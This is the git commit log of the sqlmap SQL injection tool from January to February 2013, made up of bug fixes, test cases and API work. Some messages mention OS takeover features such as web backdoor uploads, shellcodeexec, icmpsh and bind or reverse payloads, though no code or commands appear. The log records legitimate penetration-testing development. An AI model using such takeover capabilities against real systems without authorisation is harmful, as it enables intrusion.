Miroslav Stampar 799bd51c2e Minor fix when two readInput/dataToStdout are called one at a time 2013-02-15 17:36:58 +01:00
Miroslav Stampar 97c06854a4 Minor fixes 2013-02-15 17:36:58 +01:00
Bernardo Damele 0e7f771be6 minor adjustment 2013-02-15 16:28:09 +00:00
Bernardo Damele 35aa785870 bug fix to make --predict-output work also with time-based technique 2013-02-15 16:25:33 +00:00
Miroslav Stampar 014e4e0055 Minor represenation fix 2013-02-15 14:48:24 +01:00
Miroslav Stampar 67157fa2ba Some more minor fixes 2013-02-15 14:28:05 +01:00
Bernardo Damele 63ddeb9008 unnecessary variable 2013-02-15 13:26:28 +00:00
Miroslav Stampar b1c0cabde5 Minor fixes 2013-02-15 14:21:51 +01:00
Miroslav Stampar 345d10a9e0 Consistency fix (everywhere else we show unsafe format of identificator names) 2013-02-15 14:05:14 +01:00
Miroslav Stampar 2fb599619a Bug fix 2013-02-15 13:55:09 +01:00
Bernardo Damele b472d9809a another consistency fix to readInput() 2013-02-15 09:35:09 +00:00
Bernardo Damele 32c8c67888 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-15 09:29:41 +00:00
Bernardo Damele 20c5f9a030 consistency fix 2013-02-15 09:29:36 +00:00
Miroslav Stampar 11bcf28d86 Fix for an Issue #399 2013-02-15 10:04:13 +01:00
Miroslav Stampar 5d068896a9 Minor bug fix 2013-02-15 09:54:51 +01:00
Bernardo Damele 87db5d0dab minor bug fix to avoid duplicates - #297 2013-02-15 00:53:05 +00:00
Bernardo Damele c3f1e196e1 added missing parameter 2013-02-15 00:43:46 +00:00
Bernardo Damele 4727589135 code consistency 2013-02-15 00:17:13 +00:00
Miroslav Stampar 515be4ee0b Minor just in case commit related to the last one 2013-02-14 19:58:10 +01:00
Miroslav Stampar fef60b73f4 Minor update for proper display of [PAYLOAD] in JSON/XML/SOAP cases 2013-02-14 19:53:26 +01:00
Bernardo Damele 0c79d7b1e2 unnecessary import 2013-02-14 18:33:47 +00:00
Bernardo Damele d8942d2ae0 fixes #396 - adapted the engine to properly verify all steps of takeover were successul, minor code refactoring too 2013-02-14 18:32:22 +00:00
Bernardo Damele 614ff6029d working on #396 - handle the case when we dont have a web backdoor/file stager for the language API, added a few more log messages to give further information about what is going on, minor bug fix to docRoot 2013-02-14 18:31:14 +00:00
Bernardo Damele 3b38b20176 working on #396 - adaptation for the verification phase 2013-02-14 18:29:55 +00:00
Bernardo Damele 261db6ed4f working on #396 - verify shellcodeexec executable has been properly uploaded 2013-02-14 18:29:35 +00:00
Bernardo Damele 4d5ecc3b03 working on #396 - verify icmpsh executable has been properly uploaded 2013-02-14 18:28:48 +00:00
Bernardo Damele 66cee83ca4 if needed, allow to reinitialize the environment for takeover - issue #396 2013-02-14 17:39:19 +00:00
Bernardo Damele d91530f885 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-14 17:16:55 +00:00
Bernardo Damele 52264f544e minor fix for Windows file paths, do not strip the windows drive letter 2013-02-14 17:16:49 +00:00
Miroslav Stampar fdf00e4842 Fix for an Issue #397 2013-02-14 17:14:36 +01:00
Miroslav Stampar 368a2fd297 Fix for an Issue #393 2013-02-14 16:18:16 +01:00
Miroslav Stampar f97f575018 Trivial restyling 2013-02-14 15:41:27 +01:00
Miroslav Stampar 605c5b089e Minor style update 2013-02-14 15:38:44 +01:00
Miroslav Stampar 06d8547916 Implementation for an Issue #394 2013-02-14 15:38:44 +01:00
Miroslav Stampar 7944684ff2 This was supposed to be a separate commit (going to commit it in next one) 2013-02-14 15:38:44 +01:00
Miroslav Stampar 6c0054bc5f Putting that ugly parameter xyz is not inside the Cookie into the debug messages 2013-02-14 15:38:44 +01:00
Bernardo Damele d42d28392a avoid tracebacks because the parameter does not exist 2013-02-14 13:18:33 +00:00
Bernardo Damele c9c520a325 no need to repeat the debug message each time this function is called 2013-02-14 13:18:15 +00:00
Bernardo Damele 646df37884 minor bug fix for --reg-read 2013-02-14 13:17:30 +00:00
Bernardo Damele f191b9bdf4 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-14 12:39:24 +00:00
Bernardo Damele 1de109747f minor bug fix introduced in 2267dd8f47 2013-02-14 12:39:17 +00:00
Miroslav Stampar c72353321d Minor update for an Issue #392 2013-02-14 13:36:33 +01:00
Miroslav Stampar 0b8de94ace Putting cases with INTO here too 2013-02-14 12:35:17 +01:00
Bernardo Damele 4b9d8ed673 reverted a previous commit as not all distributions create a link file /usr/bin/python2 to the Python interpreter 2013-02-14 11:32:17 +00:00
Bernardo Damele 2267dd8f47 working on #392 to fix --os-cmd and --os-shell output parsing 2013-02-14 11:31:20 +00:00
Bernardo Damele cb6d549e57 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-14 11:25:12 +00:00
Bernardo Damele a67ef4117f make sure to use Python 2 interpreter when default system Python is version 3 2013-02-14 11:25:04 +00:00
Miroslav Stampar efe1bf0ded Minor fix (for those multiline cases like in MsSQL) 2013-02-14 12:20:40 +01:00
Miroslav Stampar 6629233de5 Minor update 2013-02-14 10:18:40 +01:00
Miroslav Stampar b3b3899dab Fix for an Issue #273 (must for MsSQL 2000; works on MsSQL > 2000) 2013-02-14 10:08:29 +01:00
Miroslav Stampar a0b44da5d8 Minor fix for --threads>1 --binary-fields 2013-02-13 20:47:27 +01:00
Miroslav Stampar 3483fd4347 MAX not supported by MSSQL < 2005 2013-02-13 18:33:28 +01:00
Bernardo Damele 8abd014a3e updated doc 2013-02-13 16:30:11 +00:00
Miroslav Stampar 0a4605644e Minor fix for previous commit 2013-02-13 16:31:03 +01:00
Miroslav Stampar 2b121c938b Minor fix 2013-02-13 16:24:21 +01:00
Miroslav Stampar 9b231f87d6 Minor bug fix (regarding Issue #379) - in case that two processes enter the same proc_count decrementing line sqlmap would halt 2013-02-13 15:31:50 +01:00
Miroslav Stampar 8138d1318e Minor fix 2013-02-13 15:10:49 +01:00
Bernardo Damele cbb5c79d29 typo fix 2013-02-13 13:07:47 +00:00
Bernardo Damele d9e716b95d added two debug messages for clarity 2013-02-13 12:46:45 +00:00
Miroslav Stampar c6d29e093e Fixing issue with newlines after the data in -r mode 2013-02-13 12:36:01 +01:00
Miroslav Stampar 965fa04a33 Trivial update 2013-02-13 12:28:51 +01:00
Miroslav Stampar d78a3e977b Update (allowing regular char * to be inside SOAP/JSON/XML) 2013-02-13 12:24:42 +01:00
Miroslav Stampar 6314d64a70 Renaming --binary to --binary-fields 2013-02-13 11:27:03 +01:00
Miroslav Stampar dd6f50a00e Removing unused imports 2013-02-13 11:15:24 +01:00
Miroslav Stampar 7c802ed8cc Minor fix 2013-02-13 11:14:45 +01:00
Miroslav Stampar dc41484b3f Refactoring of funcionality for finding out if stacking is available 2013-02-13 09:57:16 +01:00
Miroslav Stampar 8b4f72322a Adding (for now hidden) option --binary (works like -C but deliberately retrieves data in hex format and displays in hex format) 2013-02-13 09:56:44 +01:00
Miroslav Stampar 1d42aba01e Minor update regarding 093a93938c (for goStacked to work properly with stacked conditional payloads - e.g. proper suffix/prefix) 2013-02-12 17:35:14 +01:00
Miroslav Stampar c34f6e25b2 Minor fix for --eval (urldecoded values should be used inside evaluation) 2013-02-12 17:01:47 +01:00
Miroslav Stampar b6f7da6832 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-12 15:49:03 +01:00
Miroslav Stampar cf6c3a84b5 Adding support for symbolic linking sqlmap.py 2013-02-12 15:48:49 +01:00
Bernardo Damele ae0544d05f minor fix 2013-02-12 14:41:04 +00:00
Bernardo Damele 1384b8794f add parsed error messages to console_output for better debugging of failed regression test cases 2013-02-12 13:48:11 +00:00
Miroslav Stampar 6a98d375b1 More general except 2013-02-12 14:39:21 +01:00
Miroslav Stampar 212e92ea01 Minor update regarding --load-cookies (warning about expired ones) 2013-02-12 14:29:56 +01:00
Miroslav Stampar c9447fbbe7 Minor patch to return False if --is-dba returns None 2013-02-12 13:04:42 +01:00
Miroslav Stampar c67b39d14d Update for a last update 2013-02-12 12:58:15 +01:00
Miroslav Stampar 72984a578d Update for --load-cookies 2013-02-12 12:42:12 +01:00
Miroslav Stampar c2672e78fc Support for multiple injection marks inside the same header value (Issue #48) 2013-02-12 12:06:13 +01:00
Bernardo Damele b9cc127ead Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-12 09:28:28 +00:00
Bernardo Damele 70230f3513 minor fix 2013-02-12 09:28:15 +00:00
Miroslav Stampar c75560ba69 Minor bug fix (getting ? in < 0xf char cases) 2013-02-11 21:16:35 +01:00
Miroslav Stampar 093a93938c Bug fix (making non-query statements available for stacked conditional-error blind cases too) 2013-02-11 20:43:12 +01:00
Bernardo Damele 3786541681 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-11 18:08:04 +00:00
Bernardo Damele 8bfee3b802 started to work on #373 to improve usability when user is not DBA 2013-02-11 18:07:58 +00:00
Bernardo Damele d6db83fe88 Send an email also when regression test is successful 2013-02-11 18:07:15 +00:00
Miroslav Stampar 6d802867fc Bug fix (in some cases if random values are parsable as MMDD they will result as valid non-NULL TIMESTAMPADD value back - e.g. values 1224,0101,0212) 2013-02-11 12:02:03 +01:00
Miroslav Stampar 7c06a937e5 Minor refactoring 2013-02-09 20:21:17 +01:00
Bernardo Damele f970b4f240 minor adjustment fixing the regression test stall 2013-02-09 12:19:21 +00:00
Bernardo Damele e48181e28d another attempt to fix the stall during regression test 2013-02-09 12:16:56 +00:00
Bernardo Damele 138a846cf1 possible fix for regression test stall 2013-02-09 10:50:06 +00:00
Bernardo Damele 1596b9ed59 revert 2013-02-08 16:43:49 +00:00
Bernardo Damele 98864e425f minor "fix" 2013-02-08 16:30:34 +00:00
Bernardo Damele 8b510c55fb minor code cleanup 2013-02-08 16:29:16 +00:00
Miroslav Stampar 5aaf7f1aa6 BUG fix 2013-02-08 16:44:30 +01:00
Miroslav Stampar c0e59d94a9 Better naming 2013-02-08 16:28:58 +01:00
Miroslav Stampar cdfe43560b Update for an Issue #207 (and a potential patch for regression tests) 2013-02-08 16:20:48 +01:00
Miroslav Stampar ee1017a5a7 Minor fix 2013-02-08 13:46:39 +01:00
Bernardo Damele 5324018c7e minor typo fix 2013-02-07 14:28:39 +00:00
Bernardo Damele c8d1020a13 re-enabled brute-force test cases 2013-02-07 14:19:58 +00:00
Bernardo Damele d015bf98fc renamed variable to avoid confusion 2013-02-07 14:19:07 +00:00
Bernardo Damele 07fe6d44fb unnecessary condition here 2013-02-07 14:18:52 +00:00
Bernardo Damele 13b424a63c important bug fix and minor code restyling 2013-02-07 14:05:57 +00:00
Bernardo Damele b477c56b52 first steps to allow multiple scans on the same taskid - issue #297 2013-02-07 00:05:26 +00:00
Bernardo Damele dd6c73ea24 fixed --passwords output for API - #297 2013-02-06 21:45:51 +00:00
Bernardo Damele 21afba9571 got the partial output finally properly replaced by complete output in IPC database - #297 2013-02-06 21:32:26 +00:00
Bernardo Damele 5c8335876f minor bug fix to make --disable-coloring work on log messages too 2013-02-06 21:04:54 +00:00
Bernardo Damele 2fa2f30d21 slighlty better, still not optimal 2013-02-06 17:45:52 +00:00
Bernardo Damele 477c66ac4b minor refactoring and trivial bug fix 2013-02-06 17:45:25 +00:00
Bernardo Damele e439c3d3f5 minor refactoring - #297 2013-02-06 17:09:43 +00:00
Bernardo Damele b272b0574d minor fix to reset partRun value - #297 2013-02-06 17:09:28 +00:00
Miroslav Stampar a367dca653 Adding a small comment 2013-02-06 10:32:19 +01:00
Miroslav Stampar 39473967aa Minor fix 2013-02-06 10:30:54 +01:00
Miroslav Stampar 060eac110a Cleaner version checking 2013-02-06 10:28:17 +01:00
Miroslav Stampar b1f31103f9 Removing that ugly disk I/O error in live testing mode 2013-02-05 17:04:42 +01:00
Miroslav Stampar 934808f53b Fix for an Issue #379 2013-02-05 16:13:45 +01:00
Bernardo Damele e03010f48b got rid of unnecessary output for API - #297 2013-02-05 15:00:06 +00:00
Bernardo Damele 4428ad5345 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-05 14:43:14 +00:00
Bernardo Damele f7d826fee1 first case where partial output is retrievable via RESTful API - issue #297 2013-02-05 14:43:03 +00:00
Miroslav Stampar 01219219fc Minor bug fix (for --first/--last through problematic DBMSes) 2013-02-05 15:03:55 +01:00
Miroslav Stampar 31daefc7c9 Minor fix (skipping one uneccesary request in single-threaded --first/--last mode) 2013-02-05 13:51:35 +01:00
Miroslav Stampar 2f69a94bcf Bug fix for --search -C 2013-02-05 12:24:57 +01:00
Miroslav Stampar 62772125e3 Bug fix for HTTPSCertAuthHandler 2013-02-05 12:16:06 +01:00
Miroslav Stampar c0888e92c8 Minor update 2013-02-05 12:02:48 +01:00
Miroslav Stampar 353c1cb63b Bug fix for escaping in SQLite 3 2013-02-05 11:58:11 +01:00
Miroslav Stampar e836629215 Bug fixes for search (safeStringFormat should not replace all if given scalar values) 2013-02-05 11:37:49 +01:00
Miroslav Stampar 31230c5a42 Minor fix 2013-02-05 11:23:22 +01:00
Miroslav Stampar 87ad96bf01 Minor cosmetic fix 2013-02-05 11:18:46 +01:00
Miroslav Stampar 7ba0da66b1 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-05 11:10:31 +01:00
Miroslav Stampar 9434cc26d8 Minor fix 2013-02-05 11:10:21 +01:00
Bernardo Damele d0444cde3c Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-05 09:58:45 +00:00
Bernardo Damele 9da6f8e08a more verbose parsing rule 2013-02-05 09:58:11 +00:00
Miroslav Stampar 1618086027 Minor fix 2013-02-05 10:58:02 +01:00
Miroslav Stampar 9296bdd959 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-05 10:27:43 +01:00
Miroslav Stampar 4faa5f0f49 Fix for stalling in retrieving international letters (--technique=B) 2013-02-05 10:27:31 +01:00
Bernardo Damele 9d04ae5db5 minor improvement to temporary folder name 2013-02-05 09:11:38 +00:00
Bernardo Damele 6a83eea587 added SQLite 3 test cases 2013-02-05 09:11:20 +00:00
Miroslav Stampar fd9e1cd2c5 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-05 10:05:10 +01:00
Miroslav Stampar 44579120b5 Cosmetics 2013-02-05 10:02:11 +01:00
Bernardo Damele 3b88932dc0 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-04 23:31:51 +00:00
Bernardo Damele 0f4f808be4 minor improvement 2013-02-04 23:26:17 +00:00
Miroslav Stampar 74e82b2b53 Removing redundant check 2013-02-04 20:42:28 +01:00
Miroslav Stampar cf8e5d535d Minor cleanup 2013-02-04 20:15:44 +01:00
Miroslav Stampar c5ae967fe0 Potential fix for an Issue #379 2013-02-04 17:43:58 +01:00
Miroslav Stampar 6cab3d4759 Minor update 2013-02-04 16:46:08 +01:00
Miroslav Stampar 4f2981f163 Minor fix 2013-02-04 16:37:54 +01:00
Miroslav Stampar f4b8a3c1d8 Bug fix for boolean (multithreaded Ctrl+C) resumed values 2013-02-04 15:49:29 +01:00
Miroslav Stampar 5e4e863986 Bug fix (introduced with f1ab887c55) 2013-02-04 15:31:28 +01:00
Miroslav Stampar 235153ab39 Removal of unused imports 2013-02-04 15:29:13 +01:00
Miroslav Stampar 7e1ff1bb8e Same refactoring as the last commit 2013-02-04 15:26:44 +01:00
Miroslav Stampar 0cc6e68be2 Refactoring MySQL fingeprint.py (those payloads are now stored into session file too) 2013-02-04 15:12:03 +01:00
Bernardo Damele 5a8f94a1e1 temporary patch 2013-02-04 09:15:05 +00:00
Bernardo Damele 9370f96a67 step by step getting there to partial output presentation to restful API (issue #297), not quite yet though.. 2013-02-03 22:09:33 +00:00
Bernardo Damele b55555e4e5 minor bug fix 2013-02-03 21:39:26 +00:00
Bernardo Damele dc2bbbeaa7 minor revert 2013-02-03 20:55:58 +00:00
Bernardo Damele df3cc38cd9 minor improvements 2013-02-03 15:39:07 +00:00
Bernardo Damele 4c13e0e5a1 minor mandatory fix for git pull to work 2013-02-03 11:34:32 +00:00
Bernardo Damele b63144d90b leftover 2013-02-03 11:32:07 +00:00
Bernardo Damele bd1ea13b8d Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-02-03 11:31:12 +00:00
Bernardo Damele f8bc74758c improvement to restful API to store to IPC database partial entries, not yet functional (issue #297) 2013-02-03 11:31:05 +00:00
Bernardo Damele a92f1fb3b4 minor update 2013-02-03 11:29:57 +00:00
Miroslav Stampar e7b93b5b66 Implementation for an Issue #363 2013-02-01 17:24:04 +01:00
Miroslav Stampar 231ea51fe6 Removing leftover 2013-02-01 17:10:40 +01:00
Miroslav Stampar 993372aae4 Bug fix (causing search problems) 2013-02-01 11:24:17 +01:00
Miroslav Stampar 6d942f92b5 Removing --check-payload (PHPIDS doesn't update rules lately; also, WAF/IDS/IPS is more than just regexes (unencoding, removing junk, etc.)) 2013-02-01 10:03:06 +01:00
Miroslav Stampar 68e507ea9f Update for an SQLite3 time-based (heavy query) payloads (better timedelay) 2013-01-31 18:59:18 +01:00
Miroslav Stampar 81d4f9f7d1 Bug fix for last regression test (--search related) 2013-01-31 16:41:23 +01:00
Miroslav Stampar 8d51b4b63a Minor bug fix 2013-01-31 16:24:44 +01:00
Miroslav Stampar d6606a8f31 Patch to prevent problems like Issue #381 2013-01-31 13:58:39 +01:00
Miroslav Stampar cfcf8a3abb Another update for an Issue #380 (--common-... switches) 2013-01-31 13:49:19 +01:00
Miroslav Stampar f5844eabae Valuable data is potentially lost if page not parsed in dump mode (e.g. --technique=B and error occuring) <- partial revert of previous optimization commit 10bdd90e60 2013-01-31 13:32:14 +01:00
Miroslav Stampar 410f6ad476 Fix for an Issue #380 2013-01-31 13:26:38 +01:00
Miroslav Stampar 2420a4b626 Update for an Issue #342 and #372 2013-01-31 10:01:52 +01:00
Miroslav Stampar 9b4eaa9272 Minor fix 2013-01-30 18:21:15 +01:00
Miroslav Stampar 6b6e36b2ec Continuation of work on fixing DISTINCT/--search issues (Oracle) 2013-01-30 18:08:34 +01:00
Miroslav Stampar 838e98192e Consistency update (we are not using DISTINCT in inband counterparts too) 2013-01-30 17:25:36 +01:00
Miroslav Stampar 112ff952d4 Continuation of cleaning up a mess in Oracle's world of DISTINCT (part of Issue #342 and #372) 2013-01-30 17:08:17 +01:00
Miroslav Stampar fdea8ddea6 Starting to clean up a mess in Oracle's world of DISTINCT (part of Issue #342 and #372) 2013-01-30 16:55:09 +01:00
Miroslav Stampar 93c59c7277 Fix for a --privileges --technique=B --dbms=Oracle (when one user has no privileges everything is foobared) 2013-01-30 16:41:57 +01:00
Bernardo Damele 103045d284 variable renamed 2013-01-30 15:30:34 +00:00
Miroslav Stampar 95998e3989 Implementing undocumented way how to retrieve w+ temporary directory name on MsSQL (suggested by Vlado Velichkovski) 2013-01-30 14:38:21 +01:00
Miroslav Stampar 742c66fad2 Adding one more test (switch --hex) 2013-01-30 11:40:12 +01:00
Miroslav Stampar f33bf06c88 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-30 11:38:20 +01:00
Miroslav Stampar 6005046280 Bug fix (--dbms=mysql --tables -D testdb --exclude-sysdbs --technique=E was not working) 2013-01-30 11:36:04 +01:00
Bernardo Damele 6dfe91165d Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-30 10:34:51 +00:00
Bernardo Damele 8519717f25 minor fixes to --live-test 2013-01-30 10:32:56 +00:00
Miroslav Stampar f391937083 Minor refactoring 2013-01-30 10:43:46 +01:00
Miroslav Stampar d6fb0e8545 Update for an Issue #352 2013-01-30 10:38:11 +01:00
Miroslav Stampar bd08ede117 Minor fine tuning 2013-01-29 21:06:02 +01:00
Miroslav Stampar f41460f8d8 Better naming 2013-01-29 20:53:11 +01:00
Miroslav Stampar 95b922309c Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-29 20:50:40 +01:00
Bernardo Damele e8bd3c9c9f cosmetics 2013-01-29 17:00:28 +00:00
Bernardo Damele 1907c7c83a fixed stall 2013-01-29 16:39:14 +00:00
Bernardo Damele 8912436c68 tentative fix for stall 2013-01-29 16:30:59 +00:00
Bernardo Damele 8f36f92dd3 minor fix 2013-01-29 16:23:30 +00:00
Bernardo Damele 1ed2b0e5da missing mandatory update before regression test 2013-01-29 16:13:10 +00:00
Bernardo Damele edd6699ed1 code refactoring and added /status method for scan (issue #297) 2013-01-29 16:11:25 +00:00
Bernardo Damele c47b44e93f Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-29 15:38:16 +00:00
Bernardo Damele 1152cf8958 increased SQLite connection timeout to 3 seconds, the object will now wait for the lock to go away max 3 seconds, no longer 1 only. Relevant code refactoring and minor improvements all over the API library (issue #297) 2013-01-29 15:38:09 +00:00
Bernardo Damele 9677e0f910 more data content types for API (issue #297) 2013-01-29 15:36:19 +00:00
Bernardo Damele 92ae8145df ignore any non-relevant string: avoid storing to the API, careful this can introduce bugs but it is necessary at this stage of development (issue #297) 2013-01-29 15:35:51 +00:00
Bernardo Damele a56f4ec15c techniques has to go too to the API (issue #297) 2013-01-29 15:34:53 +00:00
Bernardo Damele bfce7210e6 improvements to the dump library to output to the API data fetched properly formatted (issue #297) 2013-01-29 15:34:20 +00:00
Bernardo Damele eeecb3fe2c split init() into two separate functions for API purposes (issue #297) 2013-01-29 15:33:16 +00:00
Miroslav Stampar a59ac8e27f Trivial cosmetics 2013-01-29 16:30:38 +01:00
Miroslav Stampar 55a9f91bbf Refactoring between.py script 2013-01-29 16:22:19 +01:00
Miroslav Stampar f2512d06db Removing unneeded whitespace in inference queries 2013-01-29 16:13:49 +01:00
Miroslav Stampar f4b7b3fd35 Minor cosmetics 2013-01-29 16:04:20 +01:00
Miroslav Stampar 9eca41bae2 Minor fix 2013-01-29 15:55:50 +01:00
Miroslav Stampar a104de01d7 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-29 15:35:01 +01:00
Miroslav Stampar 7e73825ece Minor cosmetics 2013-01-29 15:34:41 +01:00
Bernardo Damele 085495024f minor adjustment 2013-01-29 01:44:57 +00:00
Bernardo Damele f1ab887c55 major enhancement, code refactoring for issue #297 2013-01-29 01:39:27 +00:00
Bernardo Damele d07881b6c3 apply a little bit of secure coding practices to the API 2013-01-27 12:26:40 +00:00
Bernardo Damele 4d95573e6c cosmetics 2013-01-27 12:01:50 +00:00
Bernardo Damele 61eb16274e more appropriate log file name 2013-01-26 16:24:27 +00:00
Bernardo Damele a5ce0c9a04 leftover 2013-01-26 16:23:39 +00:00
Bernardo Damele 39c84ffabe missing import 2013-01-26 16:11:27 +00:00
Bernardo Damele 234e4c9f69 consolidated into one script 2013-01-26 16:11:09 +00:00
Bernardo Damele 2a9fe62c3f bind payload is preferred if filtering does not allow reverse connection 2013-01-26 15:51:47 +00:00
Bernardo Damele cd4075f6a3 no raise, just pass at ctrl-c 2013-01-26 15:33:09 +00:00
Bernardo Damele a0b9e0f1c5 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-25 17:11:38 +00:00
Bernardo Damele 195d17449e first test of stdout/stderr redirect to a database when sqlmap is executed from restful API (#297) 2013-01-25 17:11:31 +00:00
Miroslav Stampar c06f94e2c8 Fix for an Issue #378 2013-01-25 16:38:41 +01:00
Miroslav Stampar f9b44d6ff7 Adding test cases for using custom injection marks 2013-01-25 16:07:27 +01:00
Miroslav Stampar 8c84a16cb7 Minor style update for an Issue #377 2013-01-25 12:52:31 +01:00
Miroslav Stampar 479f791112 Minor fix 2013-01-25 12:41:51 +01:00
Miroslav Stampar 194a9e7b88 Implementation for an Issue #377 2013-01-25 12:34:57 +01:00
Miroslav Stampar e150316d97 Slight update for a greatest.py (more general approach) 2013-01-25 10:37:45 +01:00
Miroslav Stampar ac6c9a808a Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-25 10:29:36 +01:00
Miroslav Stampar 90daef0b9c Update of a doc/THANKS 2013-01-25 10:27:57 +01:00
Bernardo Damele aed833c1d2 fixed test case 2013-01-24 14:59:55 +00:00
Miroslav Stampar adfb862cd5 Trivial style update 2013-01-24 15:12:52 +01:00
Bernardo Damele 5b3c8d8991 first implementation of asynchronous inter-protocol communication between the sqlmap RESTful API and the sqlmap engine with SQLite 2013-01-24 12:57:24 +00:00
Bernardo Damele 7d01eb79b4 minor fix 2013-01-24 00:55:45 +00:00
Miroslav Stampar 2f4cf61271 Merge pull request #375 from frohoff/fix_non_ascii_header_name
fixed response header logging for header names with special chars
2013-01-23 11:56:51 -08:00
Chris Frohoff 218a6a9695 fixed response header logging for header names with special chars 2013-01-23 11:10:25 -08:00
Bernardo Damele 3c0c7f776f minor fix 2013-01-23 16:57:51 +00:00
Bernardo Damele f848f259a6 upper() -D value for certain DBMSes 2013-01-23 16:22:28 +00:00
Bernardo Damele f1534a178a regexp fixes 2013-01-23 16:22:01 +00:00
Bernardo Damele 9ceb4839ac added test cases for --common-tables across all DBMSes and supported techniques 2013-01-23 15:54:58 +00:00
Bernardo Damele 012815333c minor bug fix to ignore provided -D when brute-forcing columns/tables names and the DBMS is either Access, Firebird or SQLite 2013-01-23 15:52:03 +00:00
Miroslav Stampar c83f468a37 Trivial changes 2013-01-23 15:34:20 +01:00
Miroslav Stampar 35d76f3da5 Adding missing stuff related to the last commit 2013-01-23 14:48:31 +01:00
Miroslav Stampar 9825e247db Refactoring search module 2013-01-23 14:22:35 +01:00
Bernardo Damele 599ad74a32 typo fix 2013-01-23 13:05:10 +00:00
Bernardo Damele a3c779839a Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-23 13:02:14 +00:00
Bernardo Damele ff160abf10 minor bug fix 2013-01-23 13:02:02 +00:00
Bernardo Damele 45af22872a fixes #370 (the bug was introduced with commit edb977a74e)# 2013-01-23 13:00:58 +00:00
Miroslav Stampar 232f8d3585 Fix for an Issue #368 2013-01-23 13:36:17 +01:00
Bernardo Damele 7ee07d031a added PostgreSQL stacked queries test case 2013-01-23 12:15:20 +00:00
Bernardo Damele 314ed22fc3 added preventive cleanup test case 2013-01-23 12:12:30 +00:00
Bernardo Damele f4028bd7d2 minor adjustment 2013-01-23 02:10:38 +00:00
Bernardo Damele d8a0e7eacb fixes #187 2013-01-23 01:27:01 +00:00
Bernardo Damele f3ff239e62 minor fix 2013-01-23 00:21:11 +00:00
Bernardo Damele aafc5b5623 added one just in case test case to check if all params are tested as they should be 2013-01-23 00:18:54 +00:00
Bernardo Damele 2f1c174879 minor bug fix 2013-01-23 00:18:29 +00:00
Bernardo Damele 5635776173 proper SQLite 2 library 2013-01-22 18:56:25 +00:00
Bernardo Damele 91c00939f7 added one more test case 2013-01-22 18:28:59 +00:00
Bernardo Damele dea15b5892 notify user if --udf-inject is provided but no stacked queries SQLi is detected 2013-01-22 18:28:48 +00:00
Miroslav Stampar d6a361f859 Proper implementation for --technique=Q --dbms=Firebird 2013-01-22 16:31:26 +01:00
Miroslav Stampar 719c7f622b Probable fix for --technique=Q --dbms=Firebird (but also other potential issues with splitting of fields in expressions) 2013-01-22 15:51:06 +01:00
Miroslav Stampar 2ec828f1cb Fix for an Issue #367 2013-01-22 14:27:17 +01:00
Miroslav Stampar 5ea45af1c4 Warming up for Issue #366 and #367 2013-01-22 14:14:20 +01:00
Miroslav Stampar 09c02c6c72 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-22 14:08:31 +01:00
Miroslav Stampar 15b0ab1b44 Fix for a 'no parameter found' problem when user says N on 'custom injection mark found in POST...' 2013-01-22 14:08:19 +01:00
Bernardo Damele 4f081a6a9b typo fixes 2013-01-22 13:00:15 +00:00
Bernardo Damele afa9046e74 added Firebird custom enumeration test cases and stricten a few cases to make sure query length calculation function works properly with multi-threading/boolean technique 2013-01-22 12:34:11 +00:00
Bernardo Damele 061aef57ba missing import 2013-01-22 11:25:01 +00:00
Bernardo Damele 29a65b5cdc added Firebird search test cases 2013-01-22 11:23:48 +00:00
Miroslav Stampar 59b02539ca More general approach regarding that last commit 2013-01-22 11:34:34 +01:00
Miroslav Stampar 01f1488f07 Minor patch (annoying trailing spaces for some DBMSes --technique=B --sql-query) 2013-01-22 11:29:51 +01:00
Miroslav Stampar b8318efecc Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-22 11:29:15 +01:00
Bernardo Damele bd7fd862b0 forgot import 2013-01-22 10:16:18 +00:00
Bernardo Damele edb977a74e bug fix so that if search fails with union/error and blind techniques are available, it falls back to them (like any other enumeration switch) and minor bug fix so that in search mode, the provided table name to search is upped 2013-01-22 10:14:35 +00:00
Bernardo Damele 11413a0f03 added Firebird search test cases 2013-01-22 10:04:17 +00:00
Bernardo Damele e23340f002 added support for search for tables on Firebird (issue #365) 2013-01-22 09:53:05 +00:00
Bernardo Damele d2ff9bccbb minor adjustment 2013-01-21 21:00:03 +00:00
Bernardo Damele bc5a7e49e9 done with DB2 test cases (issue #312) 2013-01-21 20:53:11 +00:00
Bernardo Damele f3cead1729 cosmetics 2013-01-21 20:05:25 +00:00
Bernardo Damele e9dea8d394 no need to raise an exception if one enumeration fails 2013-01-21 17:11:46 +00:00
Bernardo Damele e558040810 minor fix to previous commit 2013-01-21 17:10:56 +00:00
Bernardo Damele d43b04c582 better detection if vulnerable of not for regression test 2013-01-21 17:09:35 +00:00
Bernardo Damele 3cfa6cd191 minor adjustments 2013-01-21 16:41:47 +00:00
Bernardo Damele d5de5306d6 minor fixes following recent enhancements 2013-01-21 16:38:31 +00:00
Miroslav Stampar 472f5e35c2 Removing that space char 2013-01-21 17:35:23 +01:00
Miroslav Stampar 5d318b4980 Fix for a ISNULL mechanism in Firebird 2013-01-21 17:33:09 +01:00
Miroslav Stampar f9d330ec98 Fix for that Firebird column data types issue (tec=EU) 2013-01-21 17:20:46 +01:00
